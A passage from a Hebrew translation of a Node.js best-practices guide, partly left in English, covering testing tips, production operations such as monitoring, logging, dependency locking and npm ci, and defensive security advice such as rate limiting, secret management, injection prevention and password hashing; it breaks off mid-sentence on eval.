הבדיקות. תנו לשרת לבחור פורט באופן אקראי כאשר מריצים בדיקות כדי למנוע התנגשויות. אם אתם משתמשים בשרת HTTP של Node.js (בשימוש על ידי רוב ספריות התשתית), כדי להשיג את היכולת הזאת אין צורך לעשות כלום מלבד להעביר port=0 - זה כבר יגרום להקצאה דינאמית של פורט.\r\n\r\n**אחרת:** הגדרה של פורט ספציפי ימנע את האפשרות להריץ שני טסטים במקביל. רוב הכלים שמריצים כיום טסטים - מריצים במקביל כברירת מחדל.\r\n\r\n🔗 [**לקריאה נוספת: הגדירו פורט אקראי לבדיקות**](./sections/testingandquality/randomize-port.md)\r\n\r\n<br/><br/>\r\n\r\n## ![✔] 4.13 בידקו את חמשת התוצאות האפשריות\r\n\r\n**אמ;לק:** בעת בדיקת מקרה, ודאו שאתם מכסים את חמשת הקטגוריות האפשריות. בכל פעם שפעולה חלה (למשל קריאת API), מתחילה תגובה, **תוצאה** משמעותית נוצרת ומתבצעת קריאה לבדיקה. ישנן חמש סוגי תוצאות לכל מקרה: תגובה, שינוי נראה לעין (כמו עדכון במסד הנתונים), שליחת קריאה ל-\r\nAPI, הודעה חדשה נרשמת לתור, וקריאה לכלי צפיה במידע (כמו לוגר ואנליטיקות). [רשימת בדיקות בסיסיות](https://testjavascript.com/wp-content/uploads/2021/10/the-backend-checklist.pdf). כל סוג של תוצאה מגיע אם אתגרים יחודיים ושיטות להמתיק את האתגרים הללו - כתבנו מדריך יעודי על נושא זה [בדיקות ב-Node.js - מעבר ליסודות](https://github.com/testjavascript/nodejs-integration-tests-best-practices)\r\n\r\n**אחרת:** תארו לעצמכם מקרה של בדיקת הוספה של מוצר חדש למערכת. נפוץ לראות בדיקות שמכסות אך ורק את המקרים של תשובה תקינה. מה יקרה אם המוצר לא יתווסף על אף התשובה החיובית? מה צריך להיעשות במידה ובעת הוספת מוצר יש גם קריאה לשירות חיצוני או הוספת הודעה לתור - האם הבדיקה לא צריכה להתייחס גם לזה? קל להתעלם ממגוון מקרים, ובנקודה זאת [רשימת הבדיקות](https://testjavascript.com/wp-content/uploads/2021/10/the-backend-checklist.pdf) עוזרת.\r\n\r\n🔗 [**לקריאה נוספת: בדיקת חמשת התוצאות**](./sections/testingandquality/test-five-outcomes.md)\r\n\r\n<br/><br/><br/>\r\n\r\n<p align=\"right\"><a href=\"#table-of-contents\">⬆ חזרה למעלה</a></p>\r\n\r\n# `5. עלייה לאוויר`\r\n\r\n## ![✔] 5.1. ניטור\r\n\r\n**אמ;לק:** ניטור הוא משחק של מציאת בעיות לפני שהמשתמשים מוצאים אותן - מובן מאליו שזה צריך להיות בראש סדר העדיפויות. השוק מוצף בהצעות להגדרות מה הם המדדים הבסיסיים שחייבים לעקוב אחריהם (ההמלצות שלנו בהמשך), לאחר מכן לעבור על כל היכולות המעניינות שכל מוצר מציע ולבחור את הפתרון המיטבי עבור הדרישות שלכם. בכל מקרה, ארבעת השכבות הניתנות לצפייה חייבות להימדד: (1) Uptime - מציינת האם המערכת זמינה, (2) Metrics - מציינת מהי ההתנהגות המצטברת של המערכת (האם 99% מהבקשות נענות), (3) Logging - בודקת אם בקשה מסויימת מסתיימת בהצלחה, (4) Distributed tracing - בודקת האם המערכת יציבה בין הרכיבים המבוזרים שלה.\r\n\r\n**אחרת:** כשלון === לקוחות מאוכזבים. פשוט מאוד.\r\n\r\n🔗 [**לקריאה נוספת: ניטור!**](./sections/production/monitoring.md)\r\n\r\n<br/><br/>\r\n\r\n## ![✔] 5.2. הגדילו את יכולת הצפייה בעזרת לוגים איכותיים\r\n\r\n**אמ;לק:** לוגים יכולים להיות פח הזבל של שלל מצבים שהמפתחים רצו לדבג או לחלופין מסך מהמם שמתאר את המצב של המוצר. תכננו את הלוגים שלכם מהיום הראשון: איך הם נאספים, איפה הם נשמרים ואיך הם מנותחים כדי להבטיח שהמידע ההכרחי (אחוז שגיאות, מעקב אחר פעולה בין מספר שירותים וכו') באמת נגיש ובר שימוש.\r\n\r\n**אחרת:** יש לכם קופסה שחורה שקשה להבין למה היא מגיעה למצב הנוכחי, ורק עכשיו אתם מתחילים לשכתב את כל הלוגים שלכם כדי שיהיה מידע רלוונטי.\r\n\r\n🔗 [**לקריאה נוספת: הגדלת השקיפות על ידי לוגים איכותיים**](./sections/production/smartlogging.md)\r\n\r\n<br/><br/>\r\n\r\n## ![✔] 5.3. האצילו כל מה שאפשר (לדוגמה gzip, SSL) לשירות נפרד\r\n\r\n**אמ;לק:** Node.js גרוע בלבצע פעולות שדורשות עוצמת חישוב גבוהה מה-CPU, כמו למשל דחיסה, סיום תהליך SSL, וכו'... כדאי שתשתמשו בתשתיות כמו nginx, HAproxy או שירותי ענן אחרים לשם כך.\r\n\r\n**אחרת:** הת'רד הבודד והמסכן שלכם יישאר עסוק במשימות תשתיתיות במקום להתעסק בלב המערכת שלכם והביצועים יישחקו בהתאם.\r\n\r\n🔗 [**לקריאה נוספת: האצלת כל מה שאפשר (לדוגמה gzip, SSL) לשירות נפרד**](./sections/production/delegatetoproxy.md)\r\n\r\n<br/><br/>\r\n\r\n## ![✔] 5.4. קיבוע תלויות\r\n\r\n**אמ;לק:** הקוד שלכם צריך להיות זהה בכל הסביבות, אך ללא קובץ יעודי npm יאפשר שימוש בתלויות שונות בכל סביבה. ודאו כי יש לכם `package-lock.json` כך שכל הסביבות יהיו זהות.\r\n\r\n**אחרת:** אנשי הבדיקות יאשרו גרסה שתתנהג אחרת בסביבת ייצור. גרוע מכך, שרתים שונים באותה סביבה יריצו קוד שונה.\r\n\r\n🔗 [**לקריאה נוספת: קיבוע תלויות**](./sections/production/lockdependencies.md)\r\n\r\n<br/><br/>\r\n\r\n## ![✔] 5.5. הבטיחו את זמינות המערכת בעזרת הכלי המתאים\r\n\r\n**אמ;לק:** המערכת צריכה להמשיך לעבוד ולהתאתחל במידה וקרתה שגיאה קריטית. סביבות ריצה חדשות כמו למשל כאלו המבוססות דוקר (כמו קוברנטיס), או Serverless מטפלות בזה בצורה אוטומטית. כאשר המוצר מותקן על שרת אמיתי פיזי, יש צורך לנהל את משאבי המערכת בעזרת כלי כמו [systemd](https://systemd.io/). אך יש להימנע מלעשות זאת כאשר משתמשים בתשתיות שכבר מבצעות את הניטור מכיוון שזה יגרום לבליעת שגיאות. כאשר לתשתית אין מודעות לשגיאות, אין לה יכולת של ביצוע שלבי פיחות משאבים כמו העברת האינסטנס של המערכת למקום אחר ברשת.\r\n\r\n**אחרת:** הרצה של עשרות אינסטנסים ללא סיבה ברורה ויותר מידי כלי תשתית יחד (cluster management, docker, PM2) עלול לגרום לכאוס עבור ה-DevOps.\r\n\r\n🔗 [**לקריאה נוספת: הבטיחו את זמינות המערכת בעזרת הכלי המתאים**](./sections/production/guardprocess.md)\r\n\r\n<br/><br/>\r\n\r\n## ![✔] 5.6. השתמשו בכל מעבדי ה-CPU\r\n\r\n**אמ;לק:** בתצורה הבסיסית שלה, מערכת מבוססת Node.js תרוץ על מעבד CPU אחד ושאר המעבדים ינוחו. מחובתכם לשכפל את התהליך ולנהל את המערכת ככה שתרוץ על כל המעבדים. רוב תשתיות הריצה החדשות (כמו קוברנטיס) מאפשרות לשכפל את התהליכים למספר מעבדים, אך הן לא מבטיחות להשתמש בכל המעבדים - זאת האחריות שלכם! אם המוצר מותקן על שרת פיזי, אז כחלק מאחריותכם אתם צריכים גם להשתמש בפתרונות שיבצעו את השכפול של התהליך (כמו systemd).\r\n\r\n**אחרת:** המוצר שלכם ינצל לכל היותר 25% מהמשאבים הזמינים(!). זכרו שלשרת רגיל יש 4 מעבדי CPU או יותר, והתקנה סטנדרטית של תהליך Node.js משתמשת רק במעבד אחד (גם שירותים בשיטת PaaS כמו AWS beanstalk!).\r\n\r\n🔗 [**לקריאה נוספת: השתמשו בכל מעבדי ה-CPU**](./sections/production/utilizecpu.md)\r\n\r\n<br/><br/>\r\n\r\n## ![✔] 5.7. תיצרו ‘maintenance endpoint’\r\n\r\n**אמ;לק:** חישפו מידע רלוונטי על המערכת, למשל מצב הזיכרון ו -[REPL](https://en.wikipedia.org/wiki/Read%E2%80%93eval%E2%80%93print_loop), באמצעות API מאובטח. על אף שמומלץ להישען על כלים יעודיים לשם כך, את חלק מהמידע והפעולות יותר פשוט לבדוק באמצעות כתיבת קוד.\r\n\r\n**אחרת:** תגלו שאתם מבצעים הרבה “diagnostic deploys” – העלאת קוד לסביבת הייצור רק כדי להשיג עוד קצת מידע אבחנתי על המערכת.\r\n\r\n🔗 [**לקריאה נוספת: יצירת ‘maintenance endpoint’**](./sections/production/createmaintenanceendpoint.md)\r\n\r\n<br/><br/>\r\n\r\n## ![✔] 5.8. גלו את הלא ידוע בעזרת מוצרי APM\r\n\r\n**אמ;לק:** שיקלו הוספת שכבה נוספת של בטיחות למוצר שלכם - [APM](https://en.wikipedia.org/wiki/Application_performance_management) (Application monitoring and performance products). אמנם רוב הסממנים והגורמים יכולים להימצא על ידי טכניקות ניטור סטנדרטיות, אך במערכות מבוזרות יש עוד רבדים סמויים מן העין. ניטור מערכות ובדיקת ביצועים (או בקיצור APM) יכולים באופן קסום להוסיף שכבה נוספת של חוויית פיתוח מעבר למה שמספקים הכלים הסטנדרטיים. לדוגמה, ישנם כלי APM שיכולים להדגיש טרנזקציה שטוענת לאט מידי את **צד הלקוח** ולהציע מה הסיבה לכך. כלים אלו גם מספקים יותר הקשר לצוות הפיתוח שמנסים לחקור שגיאה וזאת על ידי הצגה של העומסים שהיו בשרת בזמן שחלה השגיאה.\r\n\r\n**אחרת:** אתם משקיעים זמן ניכר במדידת ביצועי API ואי זמינות של המערכת, כנראה שלעולם לא תהיו מודעים לאילו חלקים בקוד הם האיטיים ביותר בזמן אמת ואיך זה משפיע על חווית המשתמש.\r\n\r\n🔗 [**לקריאה נוספת: גילוי שגיאות וזמני השבתה בעזרת מוצרי APM**](./sections/production/apmproducts.md)\r\n\r\n<br/><br/>\r\n\r\n## ![✔] 5.9. כתבו את הקוד מותאם להתקנה\r\n\r\n**אמ;לק:** קודדו כאשר התוצאה הסופית במחשבותיכם, התכוננו להתקנה בסביבת יצור כבר מהיום הראשון. זה אמנם נשמע קצת מעורפל ולכן בקישור ישנן מספר המלצות הקשורות לתמיכה במוצר שכבר הותקן.\r\n\r\n**אחרת:** אלופי העולם של IT/DevOps לא ינסו להציל מערכת שכתובה גרוע.\r\n\r\n🔗 [**לקריאה נוספת: כתבו את הקוד מותאם להתקנה**](./sections/production/productioncode.md)\r\n\r\n<br/><br/>\r\n\r\n## ![✔] 5.10. מדדו ושימרו את ניצול הזיכרון\r\n\r\n**אמ;לק:** ל-Node.js ישנה מערכת יחסים מורכבת עם ניהול הזיכרון: למנוע ה-v8 ישנם גבולות עדינים של צריכת זיכרון (1.4GB) וישנן דרכים ידועות איך לגרום לזליגת זיכרון בקוד של Node.js - ולכן מעקב אחר צריכת הזיכרון של תהליך Node.js הוא חובה. במוצרים קטנים, אפשר לאמוד את צריכת הזיכרון כל כמה זמן בעזרת פקודות shell, אבל במוצרים בינוניים-גדולים צריך לתעדף שימוש בכלים חזקים לניטור מצב הזיכרון.\r\n\r\n**אחרת:** זולגים לכם מאות MB כל יום מהתהליך כמו שקרה ב[וולמארט](https://www.joyent.com/blog/walmart-node-js-memory-leak)\r\n\r\n🔗 [**לקריאה נוספת: מדידה ושמירה על ניצול הזיכרון**](./sections/production/measurememory.md)\r\n\r\n<br/><br/>\r\n\r\n## ![✔] 5.11. Get your frontend assets out of Node\r\n\r\n**אמ;לק:** Serve frontend content using a specialized infrastructure (nginx, S3, CDN) because Node performance gets hurt when dealing with many static files due to its single-threaded model. One exception to this guideline is when doing server-side rendering\r\n\r\n**אחרת:** Your single Node thread will be busy streaming hundreds of html/images/angular/react files instead of allocating all its resources for the task it was born for – serving dynamic content\r\n\r\n🔗 [**Read More: Get your frontend assets out of Node**](./sections/production/frontendout.md)\r\n\r\n<br/><br/>\r\n\r\n## ![✔] 5.12. Strive to be stateless\r\n\r\n**אמ;לק:** Store any type of _data_ (e.g. user sessions, cache, uploaded files) within external data stores. When the app holds data in-process this adds additional layer of maintenance complexity like routing users to the same instance and higher cost of restarting a process. To enforce and encourage a stateless approach, most modern runtime platforms allows 'reapp-ing' instances periodically\r\n\r\n**אחרת:** Failure at a given server will result in application downtime instead of just killing a faulty machine. Moreover, scaling-out elasticity will get more challenging due to the reliance on a specific server\r\n\r\n🔗 [**Read More: Be stateless, kill your Servers almost every day**](./sections/production/bestateless.md)\r\n\r\n<br/><br/>\r\n\r\n## ![✔] 5.13. Use tools that automatically detect vulnerabilities\r\n\r\n**אמ;לק:** Even the most reputable dependencies such as Express have known vulnerabilities (from time to time) that can put a system at risk. This can be easily be tamed using community and commercial tools that constantly check for vulnerabilities and warn (locally or at GitHub), some can even patch them immediately\r\n\r\n**אחרת:** Keeping your code clean from vulnerabilities without dedicated tools will require you to constantly follow online publications about new threats. Quite tedious\r\n\r\n🔗 [**Read More: Use tools that automatically detect vulnerabilities**](./sections/production/detectvulnerabilities.md)\r\n\r\n<br/><br/>\r\n\r\n## ![✔] 5.14. Assign a transaction id to each log statement\r\n\r\n**אמ;לק:** Assign the same identifier, transaction-id: uuid(), to each log entry within a single request (also known as correlation-id/tracing-id/request-context). Then when inspecting errors in logs, easily conclude what happened before and after. Node has a built-in mechanism, [AsyncLocalStorage](https://nodejs.org/api/async_context.html), for keeping the same context across asynchronous calls. see code examples inside\r\n\r\n**אחרת:** Looking at a production error log without the context – what happened before – makes it much harder and slower to reason about the issue\r\n\r\n🔗 [**Read More: Assign ‘TransactionId’ to each log statement**](./sections/production/assigntransactionid.md)\r\n\r\n<br/><br/>\r\n\r\n## ![✔] 5.15. Set `NODE_ENV=production`\r\n\r\n**אמ;לק:** Set the environment variable `NODE_ENV` to ‘production’ or ‘development’ to flag whether production optimizations should get activated – some npm packages determine the current environment and optimize their code for production\r\n\r\n**אחרת:** Omitting this simple property might greatly degrade performance when dealing with some specific libraries like Express server-side rendering\r\n\r\n🔗 [**Read More: Set NODE_ENV=production**](./sections/production/setnodeenv.md)\r\n\r\n<br/><br/>\r\n\r\n## ![✔] 5.16. Design automated, atomic and zero-downtime deployments\r\n\r\n**אמ;לק:** Research shows that teams who perform many deployments lower the probability of severe production issues. Fast and automated deployments that don’t require risky manual steps and service downtime significantly improve the deployment process. You should probably achieve this using Docker combined with CI tools as they became the industry standard for streamlined deployment\r\n\r\n**אחרת:** Long deployments -> production downtime & human-related error -> team unconfident in making deployment -> fewer deployments and features\r\n\r\n<br/><br/>\r\n\r\n## ![✔] 5.17. Use an LTS release of Node.js\r\n\r\n**אמ;לק:** Ensure you are using an LTS version of Node.js to receive critical bug fixes, security updates and performance improvements\r\n\r\n**אחרת:** Newly discovered bugs or vulnerabilities could be used to exploit an application running in production, and your application may become unsupported by various modules and harder to maintain\r\n\r\n🔗 [**Read More: Use an LTS release of Node.js**](./sections/production/LTSrelease.md)\r\n\r\n<br/><br/>\r\n\r\n## ![✔] 5.18. Log to stdout, avoid specifying log destination within the app\r\n\r\n**אמ;לק:** Log destinations should not be hard-coded by developers within the application code, but instead should be defined by the execution environment the application runs in. Developers should write logs to `stdout` using a logger utility and then let the execution environment (container, server, etc.) pipe the `stdout` stream to the appropriate destination (i.e. Splunk, Graylog, ElasticSearch, etc.).\r\n\r\n**אחרת:** If developers set the log routing, less flexibility is left for the ops professional who wishes to customize it. Beyond this, if the app tries to log directly to a remote location (e.g., Elastic Search), in case of panic or crash - further logs that might explain the problem won't arrive\r\n\r\n🔗 [**Read More: Log Routing**](./sections/production/logrouting.md)\r\n\r\n<br/><br/>\r\n\r\n## ![✔] 5.19. Install your packages with `npm ci`\r\n\r\n**אמ;לק:** Run `npm ci` to strictly do a clean install of your dependencies matching package.json and package-lock.json. Obviously production code must use the exact version of the packages that were used for testing. While package-lock.json file sets strict version for dependencies, in case of mismatch with the file package.json, the command 'npm install' will treat package.json as the source of truth. On the other hands, the command 'npm ci' will exit with error in case of mismatch between these files\r\n\r\n**אחרת:** QA will thoroughly test the code and approve a version that will behave differently in production. Even worse, different servers in the same production cluster might run different code.\r\n\r\n🔗 [**Read More: Use npm ci**](./sections/production/installpackageswithnpmci.md)\r\n\r\n<br/><br/><br/>\r\n\r\n<p align=\"right\"><a href=\"#table-of-contents\">⬆ חזרה למעלה</a></p>\r\n\r\n# `6. אבטחה`\r\n\r\n<div align=\"center\">\r\n<img src=\"https://img.shields.io/badge/OWASP%20Threats-Top%2010-green.svg\" alt=\"54 items\"/>\r\n</div>\r\n\r\n## ![✔] 6.1. Embrace linter security rules\r\n\r\n<a href=\"https://www.owasp.org/index.php/Top_10-2017_A1-Injection\" target=\"_blank\"><img src=\"https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20A1:Injection%20-green.svg\" alt=\"\"/></a> <a href=\"https://www.owasp.org/index.php/Top_10-2017_A7-Cross-Site_Scripting_(XSS)\" target=\"_blank\"><img src=\"https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20XSS%20-green.svg\" alt=\"\"/></a>\r\n\r\n**אמ;לק:** Make use of security-related linter plugins such as [eslint-plugin-security](https://github.com/nodesecurity/eslint-plugin-security) to catch security vulnerabilities and issues as early as possible, preferably while they're being coded. This can help catching security weaknesses like using eval, invoking a child process or importing a module with a string literal (e.g. user input). Click 'Read more' below to see code examples that will get caught by a security linter\r\n\r\n**אחרת:** What could have been a straightforward security weakness during development becomes a major issue in production. Also, the project may not follow consistent code security practices, leading to vulnerabilities being introduced, or sensitive secrets committed into remote repositories\r\n\r\n🔗 [**Read More: Lint rules**](./sections/security/lintrules.md)\r\n\r\n<br/><br/>\r\n\r\n## ![✔] 6.2. Limit concurrent requests using a middleware\r\n\r\n<a href=\"https://www.owasp.org/index.php/Denial_of_Service\" target=\"_blank\"><img src=\"https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20DDOS%20-green.svg\" alt=\"\"/></a>\r\n\r\n**אמ;לק:** DOS attacks are very popular and relatively easy to conduct. Implement rate limiting using an external service such as cloud load balancers, cloud firewalls, nginx, [rate-limiter-flexible](https://www.npmjs.com/package/rate-limiter-flexible) package, or (for smaller and less critical apps) a rate-limiting middleware (e.g. [express-rate-limit](https://www.npmjs.com/package/express-rate-limit))\r\n\r\n**אחרת:** An application could be subject to an attack resulting in a denial of service where real users receive a degraded or unavailable service.\r\n\r\n🔗 [**Read More: Implement rate limiting**](./sections/security/limitrequests.md)\r\n\r\n<br/><br/>\r\n\r\n## ![✔] 6.3 Extract secrets from config files or use packages to encrypt them\r\n\r\n<a href=\"https://www.owasp.org/index.php/Top_10-2017_A6-Security_Misconfiguration\" target=\"_blank\"><img src=\"https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20A6:Security%20Misconfiguration%20-green.svg\" alt=\"\"/></a> <a href=\"https://www.owasp.org/index.php/Top_10-2017_A3-Sensitive_Data_Exposure\" target=\"_blank\"><img src=\"https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20A3:Sensitive%20Data%20Exposure%20-green.svg\" alt=\"\"/></a>\r\n\r\n**אמ;לק:** Never store plain-text secrets in configuration files or source code. Instead, make use of secret-management systems like Vault products, Kubernetes/Docker Secrets, or using environment variables. As a last resort, secrets stored in source control must be encrypted and managed (rolling keys, expiring, auditing, etc). Make use of pre-commit/push hooks to prevent committing secrets accidentally\r\n\r\n**אחרת:** Source control, even for private repositories, can mistakenly be made public, at which point all secrets are exposed. Access to source control for an external party will inadvertently provide access to related systems (databases, apis, services, etc).\r\n\r\n🔗 [**Read More: Secret management**](./sections/security/secretmanagement.md)\r\n\r\n<br/><br/>\r\n\r\n## ![✔] 6.4. Prevent query injection vulnerabilities with ORM/ODM libraries\r\n\r\n<a href=\"https://www.owasp.org/index.php/Top_10-2017_A1-Injection\" target=\"_blank\"><img src=\"https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20A1:Injection%20-green.svg\" alt=\"\"/></a>\r\n\r\n**אמ;לק:** To prevent SQL/NoSQL injection and other malicious attacks, always make use of an ORM/ODM or a database library that escapes data or supports named or indexed parameterized queries, and takes care of validating user input for expected types. Never just use JavaScript template strings or string concatenation to inject values into queries as this opens your application to a wide spectrum of vulnerabilities. All the reputable Node.js data access libraries (e.g. [Sequelize](https://github.com/sequelize/sequelize), [Knex](https://github.com/tgriesser/knex), [mongoose](https://github.com/Automattic/mongoose)) have built-in protection against injection attacks.\r\n\r\n**אחרת:** Unvalidated or unsanitized user input could lead to operator injection when working with MongoDB for NoSQL, and not using a proper sanitization system or ORM will easily allow SQL injection attacks, creating a giant vulnerability.\r\n\r\n🔗 [**Read More: Query injection prevention using ORM/ODM libraries**](./sections/security/ormodmusage.md)\r\n\r\n<br/><br/>\r\n\r\n## ![✔] 6.5. Collection of generic security best practices\r\n\r\n**אמ;לק:** This is a collection of security advice that is not related directly to Node.js - the Node implementation is not much different than any other language. Click read more to skim through.\r\n\r\n🔗 [**Read More: Common security best practices**](./sections/security/commonsecuritybestpractices.md)\r\n\r\n<br/><br/>\r\n\r\n## ![✔] 6.6. Adjust the HTTP response headers for enhanced security\r\n\r\n<a href=\"https://www.owasp.org/index.php/Top_10-2017_A6-Security_Misconfiguration\" target=\"_blank\"><img src=\"https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20A6:Security%20Misconfiguration%20-green.svg\" alt=\"\"/></a>\r\n\r\n**אמ;לק:** Your application should be using secure headers to prevent attackers from using common attacks like cross-site scripting (XSS), clickjacking and other malicious attacks. These can be configured easily using modules like [helmet](https://www.npmjs.com/package/helmet).\r\n\r\n**אחרת:** Attackers could perform direct attacks on your application's users, leading to huge security vulnerabilities\r\n\r\n🔗 [**Read More: Using secure headers in your application**](./sections/security/secureheaders.md)\r\n\r\n<br/><br/>\r\n\r\n## ![✔] 6.7. Constantly and automatically inspect for vulnerable dependencies\r\n\r\n<a href=\"https://www.owasp.org/index.php/Top_10-2017_A9-Using_Components_with_Known_Vulnerabilities\" target=\"_blank\"><img src=\"https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20A9:Known%20Vulnerabilities%20-green.svg\" alt=\"\"/></a>\r\n\r\n**אמ;לק:** With the npm ecosystem it is common to have many dependencies for a project. Dependencies should always be kept in check as new vulnerabilities are found. Use tools like [npm audit](https://docs.npmjs.com/cli/audit) or [snyk](https://snyk.io/) to track, monitor and patch vulnerable dependencies. Integrate these tools with your CI setup so you catch a vulnerable dependency before it makes it to production.\r\n\r\n**אחרת:** An attacker could detect your web framework and attack all its known vulnerabilities.\r\n\r\n🔗 [**Read More: Dependency security**](./sections/security/dependencysecurity.md)\r\n\r\n<br/><br/>\r\n\r\n## ![✔] 6.8. Protect Users' Passwords/Secrets using bcrypt or scrypt\r\n\r\n<a href=\"https://www.owasp.org/index.php/Top_10-2017_A2-Broken_Authentication\" target=\"_blank\"><img src=\"https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20A9:Broken%20Authentication%20-green.svg\" alt=\"\"/></a>\r\n\r\n**אמ;לק:** Passwords or secrets (e.g. API keys) should be stored using a secure hash + salt function like `bcrypt`,`scrypt`, or worst case `pbkdf2`.\r\n\r\n**אחרת:** Passwords and secrets that are stored without using a secure function are vulnerable to brute forcing and dictionary attacks that will lead to their disclosure eventually.\r\n\r\n🔗 [**Read More: User Passwords**](./sections/security/userpasswords.md)\r\n\r\n<br/><br/>\r\n\r\n## ![✔] 6.9. Escape HTML, JS and CSS output\r\n\r\n<a href=\"https://www.owasp.org/index.php/Top_10-2017_A7-Cross-Site_Scripting_(XSS)\" target=\"_blank\"><img src=\"https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20A7:XSS%20-green.svg\" alt=\"\"/></a>\r\n\r\n**אמ;לק:** Untrusted data that is sent down to the browser might get executed instead of just being displayed, this is commonly referred as a cross-site-scripting (XSS) attack. Mitigate this by using dedicated libraries that explicitly mark the data as pure content that should never get executed (i.e. encoding, escaping)\r\n\r\n**אחרת:** An attacker might store malicious JavaScript code in your DB which will then be sent as-is to the poor clients\r\n\r\n🔗 [**Read More: Escape output**](./sections/security/escape-output.md)\r\n\r\n<br/><br/>\r\n\r\n## ![✔] 6.10. Validate incoming JSON schemas\r\n\r\n<a href=\"https://www.owasp.org/index.php/Top_10-2017_A7-Cross-Site_Scripting_(XSS)\" target=\"_blank\"><img src=\"https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20A7: XSS%20-green.svg\" alt=\"\"/></a> <a href=\"https://www.owasp.org/index.php/Top_10-2017_A8-Insecure_Deserialization\" target=\"_blank\"><img src=\"https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20A8:Insecured%20Deserialization%20-green.svg\" alt=\"\"/></a>\r\n\r\n**אמ;לק:** Validate the incoming requests' body payload and ensure it meets expectations, fail fast if it doesn't. To avoid tedious validation coding within each route you may use lightweight JSON-based validation schemas such as [jsonschema](https://www.npmjs.com/package/jsonschema) or [joi](https://www.npmjs.com/package/joi)\r\n\r\n**אחרת:** Your generosity and permissive approach greatly increases the attack surface and encourages the attacker to try out many inputs until they find some combination to crash the application\r\n\r\n🔗 [**Read More: Validate incoming JSON schemas**](./sections/security/validation.md)\r\n\r\n<br/><br/>\r\n\r\n## ![✔] 6.11. Support blocklisting JWTs\r\n\r\n<a href=\"https://www.owasp.org/index.php/Top_10-2017_A2-Broken_Authentication\" target=\"_blank\"><img src=\"https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20A9:Broken%20Authentication%20-green.svg\" alt=\"\"/></a>\r\n\r\n**אמ;לק:** When using JSON Web Tokens (for example, with [Passport.js](https://github.com/jaredhanson/passport)), by default there's no mechanism to revoke access from issued tokens. Once you discover some malicious user activity, there's no way to stop them from accessing the system as long as they hold a valid token. Mitigate this by implementing a blocklist of untrusted tokens that are validated on each request.\r\n\r\n**אחרת:** Expired, or misplaced tokens could be used maliciously by a third party to access an application and impersonate the owner of the token.\r\n\r\n🔗 [**Read More: Blocklist JSON Web Tokens**](./sections/security/expirejwt.md)\r\n\r\n<br/><br/>\r\n\r\n## ![✔] 6.12. Prevent brute-force attacks against authorization\r\n\r\n<a href=\"https://www.owasp.org/index.php/Top_10-2017_A2-Broken_Authentication\" target=\"_blank\"><img src=\"https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20A9:Broken%20Authentication%20-green.svg\" alt=\"\"/></a>\r\n\r\n**אמ;לק:** A simple and powerful technique is to limit authorization attempts using two metrics:\r\n\r\n1. The first is number of consecutive failed attempts by the same user unique ID/name and IP address.\r\n2. The second is number of failed attempts from an IP address over some long period of time. For example, block an IP address if it makes 100 failed attempts in one day.\r\n\r\n**אחרת:** An attacker can issue unlimited automated password attempts to gain access to privileged accounts on an application\r\n\r\n🔗 [**Read More: Login rate limiting**](./sections/security/login-rate-limit.md)\r\n\r\n<br/><br/>\r\n\r\n## ![✔] 6.13. Run Node.js as non-root user\r\n\r\n<a href=\"https://www.owasp.org/index.php/Top_10-2017_A5-Broken_Access_Control\" target=\"_blank\"><img src=\"https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20A5:Broken%20Access%20Access%20Control-green.svg\" alt=\"\"/></a>\r\n\r\n**אמ;לק:** There is a common scenario where Node.js runs as a root user with unlimited permissions. For example, this is the default behaviour in Docker containers. It's recommended to create a non-root user and either bake it into the Docker image (examples given below) or run the process on this user's behalf by invoking the container with the flag \"-u username\"\r\n\r\n**אחרת:** An attacker who manages to run a script on the server gets unlimited power over the local machine (e.g. change iptable and re-route traffic to their server)\r\n\r\n🔗 [**Read More: Run Node.js as non-root user**](./sections/security/non-root-user.md)\r\n\r\n<br/><br/>\r\n\r\n## ![✔] 6.14. Limit payload size using a reverse-proxy or a middleware\r\n\r\n<a href=\"https://www.owasp.org/index.php/Top_10-2017_A8-Insecure_Deserialization\" target=\"_blank\"><img src=\"https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20A8:Insecured%20Deserialization%20-green.svg\" alt=\"\"/></a> <a href=\"https://www.owasp.org/index.php/Top_10-2017_A1-Injection\" target=\"_blank\"><img src=\"https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20DDOS%20-green.svg\" alt=\"\"/></a>\r\n\r\n**אמ;לק:** The bigger the body payload is, the harder your single thread works in processing it. This is an opportunity for attackers to bring servers to their knees without tremendous amount of requests (DOS/DDOS attacks). Mitigate this limiting the body size of incoming requests on the edge (e.g. firewall, ELB) or by configuring [express body parser](https://github.com/expressjs/body-parser) to accept only small-size payloads\r\n\r\n**אחרת:** Your application will have to deal with large requests, unable to process the other important work it has to accomplish, leading to performance implications and vulnerability towards DOS attacks\r\n\r\n🔗 [**Read More: Limit payload size**](./sections/security/requestpayloadsizelimit.md)\r\n\r\n<br/><br/>\r\n\r\n## ![✔] 6.15. Avoid JavaScript eval statements\r\n\r\n<a href=\"https://www.owasp.org/index.php/Top_10-2017_A7-Cross-Site_Scripting_(XSS)\" target=\"_blank\"><img src=\"https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20A7:XSS%20-green.svg\" alt=\"\"/></a> <a href=\"https://www.owasp.org/index.php/Top_10-2017_A1-Injection\" target=\"_blank\"><img src=\"https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20A1:Injection%20-green.svg\" alt=\"\"/></a> <a href=\"https://www.owasp.org/index.php/Top_10-2017_A4-XML_External_Entities_(XXE)\" target=\"_blank\"><img src=\"https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20A4:External%20Entities%20-green.svg\" alt=\"\"/></a>\r\n\r\n**אמ;לק:** `eval` is evil as it allows 